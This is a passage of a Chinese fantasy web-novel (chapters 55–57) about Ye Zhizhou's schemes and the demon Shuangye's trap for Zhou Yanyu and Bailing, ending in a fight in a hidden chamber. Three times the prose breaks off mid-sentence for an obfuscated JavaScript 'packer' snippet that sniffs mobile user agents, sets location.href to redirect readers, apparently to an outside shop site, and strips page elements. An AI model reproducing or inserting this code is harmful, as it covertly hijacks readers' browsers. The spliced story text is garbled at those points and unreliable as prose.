“你有心事?”叶知舟敏锐地察觉到她的异样。 “没……”白妖妖先是支支吾吾,然后话锋一转,暗戳戳道,“也不是什么大事。” “是身边多了只狗不习惯吗?”叶知舟冷不丁来了这么一句。 “啊?狗……”白夭夭愣了几秒才反应过来,“哦,你说那只小狗啊,我送给灵姐了。” “怎么?新鲜劲过去了,就不喜欢了吗?”叶知舟笑着讽刺她。 “什么呀?是我顾不上它,让灵姐帮我看一下而已。” 叶知舟意味深长道:“那我劝你不用再要回来了。” “为什么?” “在幽都这片地方,保不齐他是只狗,还是什么别的东西,你可得小心了。” 白夭夭听懂了他的暗示,心中大喜,这不是好机会吗? 她顺势接话:“这只狗不会是你故意安排在我身边的吧?你说,他是什么东西?” “你记性不大好了,这狗难道不是某人送给你的吗?”叶知舟明晃晃道,“需要我帮你回忆一下吗?” 白夭夭顿时心底一凉,原来他早就知道了。 随之而来的是后怕,叶知舟到底在她身边安排了多少眼线,她为什么浑然不觉? 既然这样,她也没必要和叶知舟再迂回了。 “你和那些妖怪之间到底有什么见不得人的勾结?” 叶知舟怔愣片刻,而后笑了:“你都说见不得人了,那我怎么好说呢?” “那你就别怪我,在外面乱传你的谣言了。”白夭夭胡搅蛮缠威胁道。 “夭夭啊。”叶知舟叫得亲昵,但却笑里藏刀,“是不是我对你有些过于宽容了呢?” “宽容?” 白夭夭见他这幅理直气壮的模样,火气蹭一下的就上来了。 “我怎么你了吗?你对我很好吗?别在我面前一副高高在上的样子,你以为你在施舍我吗?在我身边无数个看不见的眼线,你管这叫宽容?” “我那是为了保护你的安危。”叶知舟辩驳道。 “安危?我告诉你,你才是我身边最大的危险,你能远离我,躲得远远的,才是对我最大的保护,懂吗?” 叶知舟扭过头去,不置可否。 就在白夭夭以为自己破罐子破摔,事情彻底没有转机之时,叶知舟竟主动开口了。 “不过是一些商人之间的交易,我能和他们这些愚蠢的妖怪有什么勾结。” “什么交易?”白夭夭追问。 “他们要身体,我这里反正多得是,便卖给他们,就这么简单。” “那无忧阁呢?” “无忧阁是无忧阁的生意,和他们没关系。” 尽管叶知舟主动开口了,但白夭夭知道,他肯定不会说实话的。 “那霜叶呢,她又是干嘛的?你那些什么忘情水,又是怎么搞来的?” 白夭夭还是试图从他的回应中找出一些蛛丝马迹。 “霜叶是我雇来保护我的,你知道这些妖怪,头脑简单,四肢发达,和我们不一样,总喜欢动点粗。” 叶知舟回答的滴水不漏,但却自动跳过了第二个问题。 “忘情水呢?”白夭夭刨根问底。 “不过是些□□罢了。” 叶知舟回答的这么坦然,白夭夭忍不住道:“真是个奸商。” “忘情水是什么不重要,重要的是我能解决他们的困扰和烦恼。”叶知舟大言不惭回应。 聊到这,白夭夭知道不可能再从叶知舟嘴里套出什么有用的话,扭头准备离开。 “今夜我要在忘川河畔放花灯,空了你可以看看。”叶知舟突然叫住她。 “免了,我可是还要干活的,不像你有这种闲情雅致的人。” 白夭夭果断拒绝,潇洒转身离去。 推门而出时,正巧和前来找叶知舟的霜叶迎面撞见。 两人只是匆匆对视一眼,又默契飞速移开视线。 霜叶进去后,白夭夭并没有立刻离开。 哪有比这更好的偷听机会呢,大不了发现了被撵走了也不会怎么样。 她当即蹲下身,用耳朵紧贴着门面。 “还不动手,你要等到什么时候?” 白夭夭清晰听见了霜叶率先不耐烦的质问声。 “别急,快了。”叶知舟不紧不慢回应道。 “杀人诛心你很有一套嘛?你这样做……”霜叶停顿片刻,又道:“不怕某人生气吗?” “我是在帮她,帮她认清现实好知难而退,有什么好怕的。” 叶知舟一如既往的自信。 虽然门外的白夭夭听是听清楚了,但听得一头雾水。 “有一些事情,我很好奇,你和冥王之间是什么关系?” 自从霜叶杀死忘川河边的妖兽全身而退之后,她就疑惑这个问题了。 她知道自己能得到内部消息成功潜入,并且还可以好端端站在这里,一定有人在运作。 而这个人,只可能是叶知舟。 “这些他难道没和你说吗?”叶知舟将话题引向了周玄玉。 “我只是他的下属。” “那你又是我的谁呢?” 叶知舟反问的言外之意,自己没有解释的义务。 “既然这样的话。”霜叶显然并不意外他的回答,“那我也没有必要替你的身份多做隐瞒了。” “我为人向来坦荡,没有见不得人的事。”叶知舟仍然镇定。 “是吗?那我可要提醒一下你,我们为什么选择和你合作,因为你是我们的同类。”霜叶围着叶知舟一边审视一边踱步道,“但真相好像不是这样呢?” 什么意思,叶知舟是妖怪吗?白夭夭彻底蒙圈了。 “木已成舟,我们早就是一条船上的蚂蚱了,真相是什么?这重要吗?”叶知舟不慌不忙道。 “这当然不重要,重要的是在你心里,是过去的你,还是现在的你呢?” 霜叶继续说着白夭夭听不懂的话。 “我就是我,哪有什么过去和现在。”叶知舟并不打算回应她。 “看来是我要把话说得更明白一些。”霜叶叫他油盐不进,直白道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172920|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“过去的你寄人篱下穷困潦倒,可是突然有一天摇身一变,成为了芜月楼受人尊敬的老板,你说蹊跷不蹊跷。” 叶知舟现在的位置,是通过不正当手段得来的吗? “哪有人是一帆风顺的,总得受点挫折,这算什么蹊跷事?”叶知舟无比坦然面对。 “那一直和我们有合作的叶老板性情大变,也不算吗?” 这是霜叶第一次叫叶知舟的称呼,只不过不是对着眼前这个人。 叶知舟不置可否。 “你比我想象中更有能耐,竟然能杀死这么一个老谋深算的妖怪,并且取而代之,还能安然无恙。” 霜叶打开天窗说亮话了。 这回白夭夭总是是听懂了,叶知舟本来不是叶知舟,而是冒充了别人,一个妖怪。 “所以你想怎么样,为同类报仇吗?”被霜叶戳穿后,叶知舟也丝毫不惧。 “我没那么热心肠,只不过想找你确认一下,你的心,到底属于哪边?” 从始至终,霜叶关心的从来不是他的身份,而是他的朝向,毕竟他们不是同类,因此,他们的合作,也就多了一丝风险。 “原来如此。”叶知舟忽然释然笑了,“我不属于任何一边,我认为这个问题没有任何意义,我已经是死过一遍的人了,也没有投胎的打算,何必纠结这种事情。” “但我们非要纠结呢?”霜叶并不满意他模棱两可的答案。 “还是那句话,谁对我有利,我就在谁那一边。” 比起叶知舟信誓旦旦表明自己和他们一条心,霜叶也是不会信的,这样的回应,更在情理之中。 “他究竟允诺了你什么?”霜叶问道,“你就不怕自己这样里外不是人,将来被推出来背锅受罚吗?” “不过各取所需罢了,再说了,我又没做错什么,只不过想为了两界更加的和平而已,怎么会受罚呢?” 叶知舟说得理直气壮。 霜叶冷笑一声,讥讽道:“我想你一定是个不见棺材不落泪的人,将来有机会,我会给你送行的。” “盼我没的人太多了,很抱歉,你可能见不到这么一天。” 叶知舟笑脸相迎。 “是啊,曾经过得这么辛苦,当然惜命了,我可是听说叶老板有养娈童的癖好呢,不知道……” “谣言听多了是会变蠢的。”叶知舟脸色突变,冷言威胁道,“小心走夜路跌倒,死了都不知道怎么回事。” 听到叶知舟恶毒的诅咒,霜叶不气反笑,说了这么多,总是挑起一点他的情绪了。 “不说这个了,你曾经的名字听说很草率呢,像什么阿猫阿狗的名字,我记得是……” “霜叶。”叶知舟再次打断了她,咬牙威胁道,“我不介意再杀死一个妖怪。” “好了,点到为止。”霜叶见好就收,满不在意的笑道,“记得快点给我消息哦,我可没耐心了。” 话题又回到了一开始,但是气氛已经凝固,他们也没有深入了下去的意图。 不过比起他们在密谋的事情,白夭夭也收获了很多。 尤其是关于叶知舟不堪回首的过去。 难怪他能和小五认识,某种意义上来看,他们过去的经历还是挺相似的。 55. 第 55 章 一连几天,百灵都窝在自己的房间里,每天除了起来吃点东西,就是躺在床上发呆或者睡觉。 周延玉一直陪在她身边,担心她,但也无可奈何。 决试前要统一收集画皮师们的假人进行检查,百灵甚至都没抬头看一眼那具身体。 “等他们拿回来,你就拿走吧,别守着我了。” 这是百灵这阵子和周延玉说得最多的话,把那个眼不见心不烦的身体给拿走。 但周延玉坚持要等到比试结束。 两人谁也拗不过谁,就这样僵持着。 “百灵,你要吃点点心吗?”宋清河偶尔也会上门看看她。 百灵每次都机械应下,然后将点心晾在桌上,一动也不动。 这天宋清河又来了,不同以往的是,还带上了卫影。 因为画皮的假人已经检查完毕,登记在册,所以学徒被允许和画皮师汇合了。 “你的身体呢?他们没给你送回来吗?” 宋清河疑惑打量着房间,并没有发现有假人的痕迹。 “不知道,可能忘了吧。”百灵满不在意道。 “这种事怎么能忘,我替你去问问。” “不用了。”百灵拒绝她的好意,面无表情道,“没了也刚好,不用参加了。” 她这一番话直接让宋清河和卫影愣在原地。 “百灵,你是在开玩笑吧。”卫影不可置信道。 “她不是在开玩笑。”宋清河替她做出了回答,“她是认真的。” 宋庆河知道百灵因为上次那些事情一蹶不振,但是没料到她会因为这个事情直接放弃掉比赛。 “你最好想明白了,毕竟走到这一步,很不容易。”宋清河劝道。 “容不容易,还不是某些人一句话的事。”百灵冷笑一声。 输和赢,全都在叶知舟的一念之间,这样的比赛有什么意义? “可你这样子突然弃赛,或许叶知舟会觉得你在挑衅他,恐怕对你不太好。”卫影也开始劝她。 “他已经这么做了,我不会将错就错下去的。”百灵已经坚定了决心。 宋清河点了点头,表示尊重她的决定,然后又道:“可是你就算不参加,辛辛苦苦做的身体,难道也不想要了吗?” 百灵已然心如死水:“不要了,没了正好我也可以有理由不参加了。” “……”宋清河知道自己在说什么,也是劝不动百灵的,叹了一口气后转身离开。 但和她一同前来的卫影却没有走。 “你不能不要。”卫影定定看向百灵。 “放心,妖丹我已经还给他了。” “那是他的身体。”卫影置若罔闻,语气坚定。 百灵有片刻的失神。 是了,她是答应要给周延玉的。 “那好吧,我去找回来给他。” 她站起身,有些懒散道。 “我自己去。” 她才刚立住,周延玉就从身后咬住她的衣角道。 百灵心中闪过一丝愧疚,不过就她目前而言的状态,让周延玉去显然更合适。 “对不起。”她悻悻道。 周延玉没有回话,只是在踏出房门的那一刻,回头望了她一眼。 “卫影,你要不和他一起去吧?” 百灵放心不下,转头向卫影求助。 “你为什么不去?”卫影反问。 “我……”百灵欲言又止,“我不想再看见那具身体了。” “你知道那是谁的身体吗?” 百灵满眼困惑,卫影怎么一直问她这个问题。 “我是答应要给他做,但严格意义上来说,应该算我的吧。”百灵越说声音越弱。 “是他的。”卫影语气平静说出周延玉隐藏的事实,“骨架子是他的,是他进入冥界以来,唯一留下的东西。” “……” 百灵呆愣在原地,来缓冲这个藏了许久的秘密。 原来如此。 难怪他第一次见面要烧她的房子,难怪他明明是妖王,却愿意做她的学徒,难怪他那么喜欢指手画脚,还有一次又一次选择和她合作…… 原来是她一直霸着他的身体,还曾反悔了不想给他。 现在又说不要就不要。 百灵啊百灵,你到底在做什么呀? “他们都走了吗?” “谁们?” “叶知舟的人,归还身体的人。” “一大早上来的,早就走了。” “那他上哪找去?”百灵急道。 卫影自然不知道。 百灵凝眉思忖,一个可怕的念头浮现出来。 是故意的,叶知舟故意的。 故意不还,然后引鱼儿上钩。 周延玉会有危险! 想到这,百灵心中忽然涌起一股力量,迫使她迈开脚步夺门而出。 这场比试,已经有无辜的人因为她受伤了,绝不能再多一个。 …… 与此同时,另一边的周延玉已经循着对身体的感应,来到了一处隐秘的暗室之中。 他在来的路上基本上是畅通无阻,就好像专门有人在等他一样。 幸好,他抢先出来了。 来自身体的感应近在咫尺,但他却并没有看见。 是被藏在哪儿了吗? “又见面了,君上。” 一双绿色的眼睛伴随着声音,自周延玉前方亮起。 他记得这个声音,是那天在无忧阁接待他的人。 “你到底是谁?谁派你来的?” 周延玉开口追问。 敌人知道自己,而自己一点不了解对方,让周延玉心中有些不安。 “我是你的子民啊,君上。”对比之下,霜叶笑得很松弛,“怎么几日不见,你变成了这个模样?” 周延玉这副模样嫌少有人见过,他不相信霜叶会知道,一定是她背后的人告诉了她。 果然是身边亲近的人背叛了他。 “我在妖界被通缉是你们搞得鬼吧,现在你的主子,是不是已经当上王了?” “取代君上哪有这么容易啊。”霜叶轻笑一声,随即抬手往身侧一推,一块巨大的木板随之轰然倒下。 在那块木板的背后,正是周延玉前来寻找的身体,此时正安静躺在一具棺材之中。 “至少要带回尸体让大家伙瞧一瞧,眼见为实嘛……” 周延玉视线锁定自己的身体,怒气在心里蔓延。 他明白了为何叶知舟耐着性子要拖延到如今。 就是为了利用百灵,创造出一个假的他,然后宣告他的死亡。 “不过身为君上,应该死的更惨烈点,这样无暇的一张脸可不行。” 霜叶一边说着一边伸手在假人的脸上比划,似乎下一秒就要出手划破这张脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177842|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周延玉立刻原地变换身形,膨胀体型数倍,张开獠牙就要出手攻击。 霜叶自然也第一时间感受到了危险的信号,收回了自己的手。 “公平起见。”霜叶一顿,随即也变换了身形,“我也变。” 狭小的暗室中,一只蓄势待发的大狗和只有三条腿的豹子对立而战。 霜叶不想用武器,想以最原始的方式和周延玉进行战斗,也想趁此机会检验自己的实力。 周延玉率先动了,他庞大的身躯并未因空间限制而显得笨拙,反而像一道蓄满力的黑色闪电,直扑霜叶。 霜叶的反应同样迅捷。她仅存的三条腿展现出惊人的平衡与爆发力,在方寸之地轻盈一纵,险险避开。 仅仅一个回合,二人都对彼此进行了简单的试探。 虽然只剩三条腿,但霜叶却毫不畏惧。 周延玉的气息没有她想象中强大。 妖丹不在他身上。 “你打不过我的。”霜叶开口道。 周延玉沉默着,并未回应。 霜叶说的没错,没有妖丹支撑,他的速度与力量远非昔日可比。 周延玉的默然更加坚定了霜叶的猜想,她不想在迂回纠缠了。 霜叶所化的三足豹子微微伏低身躯,紧锁着对手,那条宛如钢鞭的长尾缓慢而危险地摆动。 下一瞬,她以迅雷不及掩耳之势,登上一旁的墙壁,借力朝着周延玉飞扑而来。 周延玉随预判到她的动作,但还是反应还是慢了一步,霜叶的长尾般弹射而出,“啪”地一声狠狠抽在周延玉的后腿关节处。 周延玉吃痛,身形一歪,霜叶乘胜追击,独爪闪着寒光,朝他肋部撕来。 他立刻翻滚避开,利爪擦过他的皮毛,留下几道深深的血痕。 不能再这样下去,周延玉心念急转。棺材近在咫尺,那是他唯一的希望。 一个虚晃,他硬扛了霜叶一爪,肩胛处皮开肉绽,却声东击西猛地向棺材方向窜去,距离瞬间拉近,他几乎能感受到骨骼对自己魂灵的呼唤。 就是现在! 他集中全部心神,魂灵与肉身之间的无形联系骤然加强,一缕微不可查的灵光自他额间溢出,他试图灵魂出窍和身体融合,哪怕只是获得片刻的掌控。 “想得美!” 霜叶的厉喝骤然响起,就在周延玉分神尝试附灵的刹那,霜叶蓄势已久的攻击就到了。她将磅礴的妖力灌注前爪,猛地拍向棺材与周延玉之间的地面。 轰! 一股强大的妖力冲击波炸开,空气中仿佛有无形的涟漪荡开,破坏了那缕脆弱的灵魂连接。 周延玉闷哼一声,额间溢出的灵光如同被风吹散的烛火,骤然熄灭。 被打断带来的反噬让他一阵恍惚,动作不可避免地僵直了一瞬。 片刻的失神带来致命的后果。 霜叶猛然贴近,前爪凝聚了全身力量,重重地拍在周延玉的侧颈上。 “砰!” 周延玉眼前一黑,巨大的力量让他彻底失去了平衡,整个身躯被狠狠掼倒在地,滑出去撞在墙壁上。 他挣扎着想站起来,却感觉半边身子发麻,妖力运转停滞,喉咙里涌上腥甜。 他艰难睁开眼,却看见更为绝望一幕。 霜叶正举起她的前爪,对准假人那张完美的脸,下一秒就要狠狠按下摧毁。 “不要……”周延玉喃喃道。 56. 第 56 章 冲动夺门而出后,百灵却是手足无措。 她找不到周延玉,这里也没有芜月楼的人。 当下比起身体,更重要的是周延玉的安危。 百灵后悔万分,不该偏偏在这种时候把妖丹还给了他。 情急之下,她不得已折返回去向卫影求助。 可卫影却犹豫了。 “他可能会有生命危险,叶知舟应该是冲着我来的,但我没想到他替我去冒险了。”百灵急切解释道。 “我可以带你去找他。”卫影松了口,“但也只能带你找到他,之后的事就靠你自己了。” “好。” 虽然百灵疑惑卫影为何如此淡定,但眼下没有什么比找到周延与更重要的事了。 卫影一路带着百灵来到了无忧阁,然后非常顺利经过窄道,来到了一处密室前。 显然,这条路是精心准备过的,就等着鱼儿上钩。 到了门口,卫影果然如他所言,停住脚步。 “卫影,你真的不进去吗?” 百灵还想挽留,因为她担心发生什么危险,她害怕独自面对门后的一切。 “不了,这是你们的事。” 卫影的回答,让百灵觉得冷漠得很陌生,同时也让她更加害怕。 他就算不帮自己,也该想想周延玉吧,周延玉是妖王的话,卫影应该是他的下属,怎么都不应该是这样事不关己的样子。 “我走了,你小心。” 没等百灵答复,卫影就自顾自转身离开,留给她一个决绝的背影。 百灵的心也随之沉了几分。 她转过身,鼓起勇气,用力推开了密室的门。 眼前的景象让她呼吸一滞。 周延玉瘫倒在地,气息微弱。而他对面,一只身形矫健、眸泛绿光的豹子,正抬起利爪,朝着棺中那具她呕心沥血完成的假人挥下。 爪子对准的,正是那张她曾无数次精心雕琢、小心呵护的脸。 “不要——!” 惊呼脱口而出。 霜叶被她这突如其来的一声呼叫扰乱了思绪,爪子稍一偏离,按在了假人的肩膀上。 “咔嚓。” 清脆的骨裂声在寂静中格外刺耳。 百灵的心也跟着狠狠一揪。 她强迫自己冷静下来,先上前把周延玉扶了起来。 霜叶也停止了动作,抬起脑袋,居高临下饶有兴趣打量着前面两人。 “你就是百灵吧。”霜叶一下就认出了她。 作为叶知舟重点关注的人,她不会不知道。 更何况,她还和周延玉有点纠葛。 真有意思。 “你来这儿,是为了这具身体呢,还是为了……”霜叶视线慢悠悠转向虚弱的周延玉,“这只可怜的小狗?” 百灵认为霜叶在挑衅自己,并不准备回答她。 但霜叶并不满意。 她轻盈跃下棺沿,长尾一勾一甩,竟轻易将周延玉从百灵怀中卷走,拽到自己身旁。 “别动他!”百灵上前一步,“用我换他。” “不要,这样多没意思。”霜叶笑着摇了摇头。 “这件事情和他没关系,身体也是我的作品,有种你就冲我来。” “这样吧。”霜叶无视百灵的话,自己想了一个损招,“你选一个好了,你是要身体还是要他?” “……” 百灵沉默了,虽然她是来救周延玉的,可那副身体里面有他的骨架,而且在霜叶按碎身体的瞬间,她后悔了,后悔自己没有看好这个身体,想把他带回来好好弥补。 不是为了比赛,而是对得起自己的努力。 她忽然……两个都想守住。 “很难选吗?”霜叶继续逼问,“这样的话,两个可都没有了,做人不能贪心呀。” 看着虚弱的周延玉,百灵终究不忍心道:“我选……” “身体。” 周延玉忽然抬起头,声音沙哑却清晰,替她说出了答案。 “她选身体。” 百灵满脸震惊,抬眼对上周延玉的视线。 他是疯了吗? 霜叶看着这一幕笑了。她将周延玉拖到身前,獠牙抵近他的脖颈,随后笑眯眯地看向百灵:“确定吗?” “不。”百灵连忙摇头,伸手阻止,“放了他,我选他。” “我改主意了。”霜叶眼中闪过狡黠的光,“现在要你们两人选得一致才行。一个人说了,可不算数。” 她分明是想看两人争执,自己坐享好戏。 “选身体。”周延玉依旧坚持。 “你干什么?”百灵慌忙之中,有些气道,“你没资格替我来做决定,身体是我亲手做的,我就算毁了他,你也管不着。” “那我的选择,你也无权干涉。”周延玉不为所动,反而更坚定,“选身体。” 周延玉显然不吃百灵这一套,反而更加坚定了。 他没有妖丹,霜叶就算毁掉自己现在这个形态也没用,魂魄还在,但百灵的身体可就只有一个。 “周延玉,算我求你了。”百灵无可奈何,放缓了语气,“我真的不想再有人因为我而牵扯进来,你不要让我为难了,好吗?” 周延玉闭口不语。 “如果你不答应我,那我保证自己也不活了,反正我早就差点死过一次了。” 百灵没办法,选择以命相逼。 周延玉也终于有所反应。 两人目光相触,在沉默中无声较量。 终究还是周延玉先败下阵来。 “听她的。” 霜叶也是说到做到,随即松开尾巴,一把将周延玉丢了出去。 百灵下意识上前想接住他。 周延玉迅速转变成小狗的形态,稳稳落在百灵的怀中。 “现在,到我了。” 霜叶并不打算给他们过多寒暄的时间,转过身跳进了棺材中,再次伸出魔爪对准了那具身体。 “等等……”百灵先一步叫住了她,祈求道,“我能再看他最后一眼吗?” 频频被干扰,霜叶有些不耐烦。 但她还是同意了百灵的请求。 “快点看。” “多谢。” 百灵抱着周延玉上前,想与身体作最后的告别。 漆黑的棺木中,那具身体无声无息,双目紧闭,苍白如真正的尸骸。 百灵忽然觉得,它好像真的“死”了——尽管它本就从未活过。 她心里某个地方,也跟着空了一块。 就在这时,怀中的周延玉轻轻咬了下她的手臂。 百灵佯作不知,面色如常。 “看够了没?”霜叶催促。 “我能……再摸摸他吗?就一下。”百灵壮着胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183605|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子得寸进尺。 “快点,别磨蹭。” 许是认为百灵构不成什么威胁,霜叶再次不情不愿同意了。 得到许可后,百灵这回直接俯下身子,近距离观察身体。 她顺势把怀里的周延玉放下,然后伸手轻轻抚摸着假人的脸。 “对不起……”百灵动情道,“是我没有保护好你。” 一时间,她分不清这句话到底是对她自认为属于她的身体说的,还是对着身体的原主人周延玉。 反正无论如何,她两者都是对不住的。 沉浸在悲伤氛围中,百灵又不依不饶站在原地,丝毫没有要离开的意思。 “好了够了。” 直到霜叶用完了耐心,无情制止道。 “再等等……” 百灵依旧拖延。 “我说够了。” 霜叶这次不再退让,径直上前准备赶走百灵。 “躲开!” 就在霜叶的爪子即将碰到百灵的刹那,棺材里的身体毫无征兆凭空坐起。 百灵早就有所准备,后撤一步闪开,而霜叶就没那么好运了。 她本来也只是打算稍微用点劲把百灵推开,谁知迎接她的是蓄力已久的周延玉。 在百灵不停拖延时间之时,他就偷偷融入到了身体之中等待时间。 “砰!” 周延玉一掌狠狠拍在她额心,霜叶整个人倒飞出去,重重砸进对面石墙,半截身子都嵌了进去。 等她从凹陷处滑落时,已化回人形。 鲜血自唇角蜿蜒而下,霜叶抬手随意抹去,抬起那双幽绿的眸子,盯住眼前气势迥异的周延玉。 “有意思了。”她咧开嘴角,笑了。 看来她要较真了。 虽然偷袭成功,但周延玉此时面临一个尤为棘手的问题。 他没有眼睛,看不见。 妖丹被百灵取下来之后,她也不想只留着一只眼睛,干脆把花珀也一并摘除了。 谁也不会料到,周延玉会在这种情况下附身。 百灵也同样意识到了这个问题。 她扶着周延玉从棺材里走出来,手心因为紧张冒出了汗。 周延玉看不见,还带着她这个拖油瓶,能打得过霜叶吗? 黑暗中,周延玉摸索着抓住了百灵的手,用力收紧。 另一只手探到百灵耳朵的位置,他低头,嗓音轻沉却清晰:“做我的眼睛,百灵。” 百灵震惊抬眼,她怕自己做不到反而添乱了想拒绝,但面对孤立无援的周延玉,那个“不”字怎么也说不出口。 “我……” “你可以。”周延玉接过她的话,同时通过手心给她传递妖力。 “现在只有你能帮我。” 久违的力量感在身体中流转,驱散了连日的颓废与无力,百灵深吸一口气,眼神逐渐坚定。 “好,要我怎么做。”她不再犹豫,也不再回避。 “我背着你,你来指挥我。” 周延玉说着便蹲下身子让百灵上来。 百灵立刻攀上周延玉的脊背,双手牢牢抱住他的脖子。 “从现在开始,我一切听你的。”周延玉全然信任着百灵。 这份信任很沉重,百灵感觉压力山大。 但她还是稳住心神,轻声回应周延玉:“好,我尽量,你也小心。” 57. 第 57 章 霜叶动了。 没有预兆,她的身形在昏暗光线中骤然模糊,化作一道挟着寒风的灰影,直扑周延玉左侧。 腰间的弯刀甚至未曾出鞘,仅以刀鞘点向周延玉肋下空门,快得只剩残影。 “左边!”百灵伏在周延玉背上,瞳孔紧缩,急喊出声。 周延玉闻声即动,拧身挥臂,一道暗沉如影的妖力自他掌心迸发,瞬间拉长、凝结,化作一条末端凌厉的黑色长鞭,横扫而出。 “啪!”的一声鞭梢精准地抽在刀鞘上,将其荡开。 然而,霜叶的攻势只是开始。 一击不中,她足尖在墙面一点,身影再次折返,弯刀也终于出鞘,雪亮的弧光自右侧斜撩向上,直取周延玉肩颈,速度比方才更快三分。 “右肩!”百灵的声音带着急促的喘息。 妖鞭回防已来不及,周延玉只能凭借百灵指引的方向,极限后仰。 “嗤啦——!” 刀刃擦着他的胸前划过,衣襟破裂,一道浅浅的血痕立时浮现,冰冷的刀气激得百灵伏低的脖颈寒毛倒竖。 但她丝毫没有喘息的空间。 霜叶的攻击如同疾风骤雨,毫不停歇。 她充分利用密室的空间,在墙壁、地面、甚至棺木边缘借力腾挪,身影时而分化般从意想不到的角度闪现,时而又诡异地融入阴影,从四面八方笼罩而来。 百灵成了周延玉唯一的感官延伸,她的眼睛紧紧追随着霜叶闪电般的身影,喉咙因不断急促的呼喊而发干发痛。 “后面!小心!” “头顶!” “背后,她要绕!” 周延玉将身体完全交给百灵的指引,妖鞭舞动如龙,或抽或卷,或格或挡,勉强构筑起一道防线。 但百灵毕竟需要时间观察、判断、传达,而霜叶的速度几乎压缩了这一切,那慢半拍的延迟,在顶尖的猎杀者面前,就是致命的破绽。 “嘶——!”又一刀划过,这次是周延玉侧腰,伤口更深,鲜血渗出。 几乎同时,一道凌厉的刀风擦过百灵的小腿,裤管破裂,她也受伤了。 剧痛让她浑身一颤,但她死死咬住下唇,将痛呼咽了回去,视线不敢有丝毫偏离,声音甚至更急:“右下方!她落地了,正向你冲刺!” 不能让他分心。一点都不能。 周延玉似乎察觉到了背上传来的细微颤抖,但他此时也无暇询问。 妖鞭猛地砸向霜叶预判的落点,逼得她再次变向。 战斗陷入了某种残酷的平衡,周延玉依靠百灵的指引勉强周旋,霜叶则凭借绝对的速度不断制造伤口,消耗对手,寻找一击必杀的机会。 汗水浸湿了百灵的额发,流入眼睛,刺痛着她。 百灵伏在周延玉背上,每一次呼吸都扯着小腿的伤口作痛,但更让她心头焦灼的是心中深深无力感,她看得见,却总是追不上。 又一次险之又险的闪避,霜叶的刀尖几乎贴着周延玉的鼻尖掠过,周延玉回鞭反击,却再次落在空处,只留下一片残影。 霜叶轻盈地落在几步之外,独臂持刀,身形微微伏低。 就在这一瞬,也许是高度的紧张让感知变得奇异清晰,百灵的视线没有追随那柄威胁最大的弯刀,反而下意识落在了霜叶的全身姿态上。 她失去了右手。 百灵的脑海突然跳出这个显而易见的事实,作为画皮师,她太了解完整对一具身体意味着什么,无论是活人、死人,还是眼前的妖。 而失去了一只手的霜叶,自然也失去了一个重要的能力,平衡。 完美的平衡需要对称的支撑和协调的发力和收力。 缺了一只手,无论她如何强大,在做出极限速度的变向、尤其是需要骤然发力或改变角度的攻击时,为了维持重心不崩,她的动作必定会出现偏移。 百灵的眼睛骤然亮起,如同在纷乱的丝线中找到了线头。 她不再仅仅追逐霜叶的刀,而是开始拼命记忆和分析她每一次高速移动、每一次出刀时,身体姿态那些细微的、重复的偏移。 果然,百灵发现当她以左臂挥刀进行大幅度横扫或下劈时,因为右臂缺失无法反向平衡,她的左肩会有一个过于强烈的向前送的动作,同时右侧腰腹会下意识地向后收缩。 “周延玉。”百灵的声音因为极度的专注和发现秘密的激动而压得极低,却字字清晰地传入他耳中。 “她缺右臂,缺少平衡,所以她的真实落地点会更靠左前方,我们可以利用这点提前预判。” 仿佛是命运般的验证,霜叶的攻势接踵而至。 她身形微沉,旋即如弹簧般从周延玉左翼弹起,左臂弯刀高高扬起,妖力凝聚,刃口泛起寒芒,正是蓄力猛劈的前奏。 身体果然如百灵所料,开始呈现那种细微却确定的向左前方拧转的趋势。 “就是现在!左前方,离地两尺!”百灵厉声喝道。 周延玉动了,第一次在霜叶进攻前他猝不及防先出手了。 他没有按照通常的逻辑去格挡那抹刀光,而是完全信任百灵的眼睛,将妖鞭灌注妖力,朝着自己左前方一个看似空无一物的位置,狠狠抽击而下。 “啪!” 周延玉这一下,并没有伤到霜叶,但精妙地破坏了她的平衡。 她劈砍的力量和身体前冲的惯性依旧存在,却在最关键的传递节点上,被这根提前横在那里的绳索绊了一下。 那种感觉,就像全速奔跑时,脚下预期的坚实地面忽然变成了滑腻的冰面,身体的重心也随之前倾。 即使以她的控制力,身体也无可避免地出现了一刹那的失衡和僵直。 而周延玉,等的就是这一刹那! 在长鞭抽击地面的反作用力下,他手腕一抖,鞭身如活物般借势弹起,化作一道凌厉的黑影,精准迅疾地一卷。 妖鞭如同拥有眼睛,在霜叶因失衡而出现微小松动的瞬息,缠上了弯刀的刀柄末端,紧接着猛地向侧后方一扯、一绞。 